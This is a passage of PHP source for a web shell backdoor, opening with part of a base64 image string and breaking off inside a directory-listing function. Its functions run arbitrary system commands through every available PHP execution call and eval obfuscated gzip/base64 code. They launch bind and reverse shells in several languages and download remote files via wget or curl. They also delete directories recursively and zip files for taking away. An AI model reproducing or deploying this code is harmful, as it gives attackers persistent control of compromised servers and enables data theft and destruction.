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";
function clean($arr){
$quotes_sybase = strtolower(ini_get(\'magic_quotes_sybase\'));
if(function_exists(\'get_magic_quotes_gpc\') && get_magic_quotes_gpc()){
if(is_array($arr)){
foreach($arr as $k=>$v){
if(is_array($v)) $arr[$k] = clean($v);
else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === \'off\')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
}
}
}
return $arr;
}
function fgc($file){
return file_get_contents($file);
}
function kript($plain){
return sha1(md5($plain));
}
function changepass($plain){
$newpass = kript($plain);
$newpass = "\$s_pass = \"".$newpass."\";";
$con = fgc($_SERVER[\'SCRIPT_FILENAME\']);
$con = preg_replace("/\\$s_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con);
return file_put_contents($_SERVER[\'SCRIPT_FILENAME\'], $con);
}
function get_code($t, $c){
global $s_self;
$c = gzinflate(base64_decode($c));
if($t=="css"){
return "<link rel=\'stylesheet\' type=\'text/css\' href=\'".$s_self."|\' />";
}
elseif($t=="js"){
return "<script type=\'text/javascript\' src=\'".$s_self."!\'></script>";
}
}
function showcode($raw){
$c = gzinflate(base64_decode($raw));
ob_get_contents();
ob_end_clean();
ob_start();
eval("?>".$c);
$s_res = ob_get_contents();
ob_end_clean();
echo $s_res;
die();
}
function adds($s_s){
global $s_win;
return ($s_win)? addslashes($s_s):$s_s;
}
function cp($s_p){
global $s_win;
if(@is_dir($s_p)){
$s_x = DS;
while(substr($s_p, -1) == $s_x) $s_p = rtrim($s_p, $s_x);
return ($s_win)? preg_replace("/\\+/is", "\", $s_p.$s_x):$s_p.$s_x;
}
return $s_p;
}
function swd($s_p){
global $s_self;
$s_ps = explode(DS,$s_p);
$s_pu = "";
for($s_i = 0; $s_i < sizeof($s_ps)-1; $s_i++){
$s_pz = "";
for($s_j = 0; $s_j <= $s_i; $s_j++) $s_pz .= $s_ps[$s_j].DS;
$s_pu .= "<a href=\'".$s_self."cd=".pl($s_pz)."\'>".$s_ps[$s_i]." ".DS." </a>";
}
return trim($s_pu);
}
// htmlspecialchars
function hss($s_t){
//$s_s = htmlspecialchars($s_s, 8);
return htmlspecialchars($s_t, 2 | 1);
}
// function raw urldecode
function ru($str){
return (is_array($str))? array_map("rawurldecode", $str):rawurldecode($str);
}
// encode link, htmlspecialchars and rawurlencode
function pl($str){
return hss(rawurlencode($str));
}
// add quotes
function pf($f){
return "\"".$f."\"";
}
// replace spaces with underscore ( _ )
function cs($s_t){
return str_replace(array(" ", "\"", "\'"), "_", $s_t);
}
// trim and urldecode
function ss($s_t){
return rawurldecode($s_t);
}
// return tag html for notif
function notif($s){
return "<div class=\'notif\'>".$s."</div>";
}
// bind and reverse shell
function rs($s_rstype,$s_rstarget,$s_rscode){
// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
$s_result = $s_fpath = "";
$s_fc = gzinflate(base64_decode($s_rscode));
$s_errperm = "Directory ".getcwd().DS." is not writable, please change to a writable one";
$s_errgcc = "Unable to compile using gcc";
$s_errjavac = "Unable to compile using javac";
$s_split = explode("_", $s_rstype);
$s_method = $s_split[0];
$s_lang = $s_split[1];
if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){
if($s_lang=="py") $s_runlang = "python";
elseif($s_lang=="pl") $s_runlang = "perl";
elseif($s_lang=="rb") $s_runlang = "ruby";
elseif($s_lang=="js") $s_runlang = "node";
$s_fpath = "Xnonymoux_rs.".$s_lang;
if(@is_file($s_fpath)) unlink($s_fpath);
if($s_file = fopen($s_fpath, "w")){
fwrite($s_file, $s_fc);
fclose($s_file);
if(@is_file($s_fpath)){
$s_result = exe("chmod +x ".$s_fpath);
if($s_runlang=="node"){
if(check_access("node")!==false) $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
elseif(check_access("nodejs")!==false) $s_result = exe($s_runlang."js ".$s_fpath." ".$s_rstarget);
}
else $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
}
else $s_result = $s_errperm;
}
else $s_result = $s_errperm;
}
elseif($s_lang=="c"){
$s_fpath = "Xnonymoux_rs";
if(@is_file($s_fpath)) unlink($s_fpath);
if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
if($s_file = fopen($s_fpath.".c", "w")){
fwrite($s_file,$s_fc);
fclose($s_file);
if(@is_file($s_fpath.".c")){
$s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath);
if(@is_file($s_fpath)){
$s_result = exe("chmod +x ".$s_fpath);
$s_result = exe("./".$s_fpath." ".$s_rstarget);
}
else $s_result = $s_errgcc;
}
else $s_result = $s_errperm;
}
else $s_result = $s_errperm;
}
elseif($s_lang=="win"){
$s_fpath = "Xnonymoux_rs.exe";
if(@is_file($s_fpath)) unlink($s_fpath);
if($s_file = fopen($s_fpath,"w")){
fwrite($s_file,$s_fc);
fclose($s_file);
if(@is_file($s_fpath)){
$s_result = exe($s_fpath." ".$s_rstarget);
}
else $s_result = $s_errperm;
}
else $s_result = $s_errperm;
}
elseif($s_lang=="java"){
$s_fpath = "Xnonymoux_rs";
if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
if($s_file = fopen($s_fpath.".java", "w")){
fwrite($s_file,$s_fc);
fclose($s_file);
if(@is_file($s_fpath.".java")){
$s_result = exe("javac ".$s_fpath.".java");
if(@is_file($s_fpath.".class")){
$s_result = exe("java ".$s_fpath." ".$s_rstarget);
}
else $s_result = $s_errjavac;
}
else $s_result = $s_errperm;
}
else $s_result = $s_errperm;
}
elseif($s_lang=="php"){
$s_result = eval("?>".$s_fc);
}
if(@is_file($s_fpath)) unlink($s_fpath);
if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
if(@is_file($s_fpath."\$pt.class")) unlink($s_fpath."\$pt.class");
return $s_result;
}
function geol($str){
$nl = PHP_EOL;
if(preg_match("/
/", $str, $r)) $nl = "
";
else{
if(preg_match("/
/", $str, $r)) $nl = "
";
elseif(preg_match("/
/", $str, $r)) $nl = "
";
}
return bin2hex($nl);
}
// format bit
function ts($s_s){
if($s_s<=0) return 0;
$s_w = array(\'B\',\'KB\',\'MB\',\'GB\',\'TB\',\'PB\',\'EB\',\'ZB\',\'YB\');
$s_e = floor(log($s_s)/log(1024));
return sprintf(\'%.2f \'.$s_w[$s_e], ($s_s/pow(1024, floor($s_e))));
}
// get file size
function gs($s_f){
$s_s = @filesize($s_f);
if($s_s !== false){
if($s_s<=0) return 0;
return ts($s_s);
}
else return "???";
}
// get file permissions
function gp($s_f){
if($s_m = @fileperms($s_f)){
$s_p = \'u\';
if(($s_m & 0xC000) == 0xC000)$s_p = \'s\';
elseif(($s_m & 0xA000) == 0xA000)$s_p = \'l\';
elseif(($s_m & 0x8000) == 0x8000)$s_p = \'-\';
elseif(($s_m & 0x6000) == 0x6000)$s_p = \'b\';
elseif(($s_m & 0x4000) == 0x4000)$s_p = \'d\';
elseif(($s_m & 0x2000) == 0x2000)$s_p = \'c\';
elseif(($s_m & 0x1000) == 0x1000)$s_p = \'p\';
$s_p .= ($s_m & 00400)? \'r\':\'-\';
$s_p .= ($s_m & 00200)? \'w\':\'-\';
$s_p .= ($s_m & 00100)? \'x\':\'-\';
$s_p .= ($s_m & 00040)? \'r\':\'-\';
$s_p .= ($s_m & 00020)? \'w\':\'-\';
$s_p .= ($s_m & 00010)? \'x\':\'-\';
$s_p .= ($s_m & 00004)? \'r\':\'-\';
$s_p .= ($s_m & 00002)? \'w\':\'-\';
$s_p .= ($s_m & 00001)? \'x\':\'-\';
return $s_p;
}
else return "???????????";
}
// shell command
function exe($s_c){
$s_out = "";
$s_c = $s_c." 2>&1";
if(is_callable(\'system\')) {
ob_start();
@system($s_c);
$s_out = ob_get_contents();
ob_end_clean();
if(!empty($s_out)) return $s_out;
}
if(is_callable(\'shell_exec\')){
$s_out = @shell_exec($s_c);
if(!empty($s_out)) return $s_out;
}
if(is_callable(\'exec\')) {
@exec($s_c,$s_r);
if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s;
if(!empty($s_out)) return $s_out;
}
if(is_callable(\'passthru\')) {
ob_start();
@passthru($s_c);
$s_out = ob_get_contents();
ob_end_clean();
if(!empty($s_out)) return $s_out;
}
if(is_callable(\'proc_open\')) {
$s_descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"));
$s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array());
if (is_resource($s_proc)) {
while($s_si = fgets($s_pipes[1])) {
if(!empty($s_si)) $s_out .= $s_si;
}
while($s_se = fgets($s_pipes[2])) {
if(!empty($s_se)) $s_out .= $s_se;
}
}
@proc_close($s_proc);
if(!empty($s_out)) return $s_out;
}
if(is_callable(\'popen\')){
$s_f = @popen($s_c, \'r\');
if($s_f){
while(!feof($s_f)){
$s_out .= fread($s_f, 2096);
}
pclose($s_f);
}
if(!empty($s_out)) return $s_out;
}
return "";
}
// delete dir and all of its content (no warning !) xp
function rmdirs($s){
$s = (substr($s,-1)==\'/\')? $s:$s.\'/\';
if($dh = opendir($s)){
while(($f = readdir($dh))!==false){
if(($f!=\'.\')&&($f!=\'..\')){
$f = $s.$f;
if(@is_dir($f)) rmdirs($f);
else @unlink($f);
}
}
closedir($dh);
@rmdir($s);
}
}
function copys($s,$d,$c=0){
if($dh = opendir($s)){
if(!@is_dir($d)) @mkdir($d);
while(($f = readdir($dh))!==false){
if(($f!=\'.\')&&($f!=\'..\')){
if(@is_dir($s.DS.$f)) copys($s.DS.$f,$d.DS.$f);
else copy($s.DS.$f,$d.DS.$f);
}
}
closedir($dh);
}
}
// get array of all files from given directory
function getallfiles($s_dir){
$s_f = glob($s_dir.\'*\');
for($s_i = 0; $s_i<count($s_f); $s_i++){
if(@is_dir($s_f[$s_i])){
$s_a = glob($s_f[$s_i].DS.\'*\');
if(is_array($s_f) && is_array($s_a)) $s_f = array_merge($s_f, $s_a);
}
}
return $s_f;
}
// download file from internet
function dlfile($s_u,$s_p){
global $s_wget, $s_lwpdownload, $s_lynx, $s_curl;
if(!preg_match("/[a-z]+:\/\/.+/",$s_u)) return false;
$s_n = basename($s_u);
// try using php functions
if($s_t = @fgc($s_u)){
if(@is_file($s_p)) unlink($s_p);
if($s_f = fopen($s_p,"w")){
fwrite($s_f, $s_t);
fclose($s_f);
if(@is_file($s_p)) return true;
}
}
// using wget
if($s_wget){
$buff = exe("wget ".$s_u." -O ".$s_p);
if(@is_file($s_p)) return true;
}
// try using curl
if($s_curl){
$buff = exe("curl ".$s_u." -o ".$s_p);
if(@is_file($s_p)) return true;
}
// try using lynx
if($s_lynx){
$buff = exe("lynx -source ".$s_u." > ".$s_p);
if(@is_file($s_p)) return true;
}
// try using lwp-download
if($s_lwpdownload){
$buff = exe("lwp-download ".$s_u." ".$s_p);
if(@is_file($s_p)) return true;
}
return false;
}
// find writable dir
function get_writabledir(){
if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TMPDIR")){
if(@is_writable("/tmp")) $s_d = "/tmp/";
else if(@is_writable(".")) $s_d = ".".DS;
}
return cp($s_d);
}
// zip function
function zip($s_srcarr, $s_dest){
if(!extension_loaded(\'zip\')) return false;
if(class_exists("ZipArchive")){
$s_zip = new ZipArchive();
if(!$s_zip->open($s_dest, 1)) return false;
if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr);
foreach($s_srcarr as $s_src){
$s_src = str_replace(\'\\', \'/\', $s_src);
if(@is_dir($s_src)){
$s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1);
foreach($s_files as $s_file){
$s_file = str_replace(\'\\', \'/\', $s_file);
if(in_array(substr($s_file, strrpos($s_file, \'/\')+1), array(\'.\', \'..\'))) continue;
if (@is_dir($s_file)===true) $s_zip->addEmptyDir(str_replace($s_src.\'/\', \'\', $s_file.\'/\'));
else if (@is_file($s_file)===true) $s_zip->addFromString(str_replace($s_src.\'/\', \'\', $s_file), @fgc($s_file));
}
}
elseif(@is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @fgc($s_src));
}
$s_zip->close();
return true;
}
}
// check shell permission to access program
function check_access($s_lang){
$s_s = false;
$ver = "";
switch($s_lang){
case "python":
$s_cek = strtolower(exe("python -h"));
if(strpos($s_cek,"usage")!==false) $ver = exe("python -V");
break;
case "perl":
$s_cek = strtolower(exe("perl -h"));
if(strpos($s_cek,"usage")!==false) $ver = exe("perl -e \"print \$]\"");
break;
case "ruby":
$s_cek = strtolower(exe("ruby -h"));
if(strpos($s_cek,"usage")!==false) $ver = exe("ruby -v");
break;
case "node":
$s_cek = strtolower(exe("node -h"));
if(strpos($s_cek,"usage")!==false) $ver = exe("node -v");
break;
case "nodejs":
$s_cek = strtolower(exe("nodejs -h"));
if(strpos($s_cek,"usage")!==false) $ver = exe("nodejs -v");
break;
case "gcc":
$s_cek = strtolower(exe("gcc --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("gcc --version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
case "tar":
$s_cek = strtolower(exe("tar --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("tar --version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
case "java":
$s_cek = strtolower(exe("java -help"));
if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("java -version"));
break;
case "javac":
$s_cek = strtolower(exe("javac -help"));
if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("javac -version"));
break;
case "wget":
$s_cek = strtolower(exe("wget --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("wget --version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
case "lwpdownload":
$s_cek = strtolower(exe("lwp-download --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("lwp-download --version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
case "lynx":
$s_cek = strtolower(exe("lynx --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("lynx -version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
case "curl":
$s_cek = strtolower(exe("curl --help"));
if(strpos($s_cek,"usage")!==false){
$s_ver = exe("curl --version");
$s_ver = explode("
",$s_ver);
if(count($s_ver)>0) $ver = $s_ver[0];
}
break;
default:
return false;
}
if(!empty($ver)) $s_s = $ver;
return $s_s;
}
// explorer, return a table of given dir
function showdir($s_cwd){
global $s_self, $s_win, $s_posix, $s_tar;
$s_fname = $s_dname = array();
$s_total_file = $s_total_dir = 0;
if($s_dh = @opendir($s_cwd)){
while($s_file = @readdir($s_dh)){
if(@is_dir($s_file)) $s_dname[] = $s_file;
elseif(@is_file($s_file))$s_fname[] = $s_file;
}
closedir($s_dh);
}
natcasesort($s_fname);
natcasesort($s_dname);
$s_list = array_merge($s_dname,$s_fname);
if($s_win){
//check if this root directory
chdir("..");
if(cp(getcwd())==cp($s_cwd)) array_unshift($s_list, ".");
chdir($s_cwd);
}
$s_path = explode(DS,$s_cwd);
$s_tree = sizeof($s_path);
$s_parent = "";
if($s_tree > 2) for($s_i = 0; $s_i<$s_tree-2; $s_i++) $s_parent .= $s_path[$s_i].DS;
else $s_parent = $s_cwd;
$s_owner_html = (!$s_win && $s_posix)? "<th style=\'width:140px;min-width:140px;\'>owner:group</th>":"";
$s_colspan = (!$s_win && $s_posix)? "5" : "4";
$s_buff = "<table class=\'explore sortable\'><thead><tr><th style=\'width:24px;min-width:24px;\' class=\'sorttable_nosort\'></th><th style=\'min-width:150px;\'>name</th><th style=\'width:74px;min-width:74px;\'>size</th>".$s_owner_html."<th style=\'width:80px;min-width:80px;\'>perms</th><th style=\'width:150px;min-width:150px;\'>modified</th><th style=\'width:200px;min-width:200px;\' class=\'sorttable_nosort\'>action</th></tr></thead><tbody>";
foreach($s_list as $s_l){
if(!$s_win && $s_posix){
$s_name = posix_getpwuid(fileowner($s_l));
$s_group = posix_getgrgid(filegroup($s_l));
$s_owner = $s_name[\'name\']."<span class=\'gaya\'>:</span>".$s_group[\'name\'];
$s_owner_html = "<td style=\'text-align:center;\'>".$s_owner."</td>";
}
$s_lhref = $s_lname = $s_laction = "";
if(@is_dir($s_l)){
if($s_l=="."){
$s_lhref = $s_self."cd=".pl($s_cwd);
$s_lsize = "LINK";
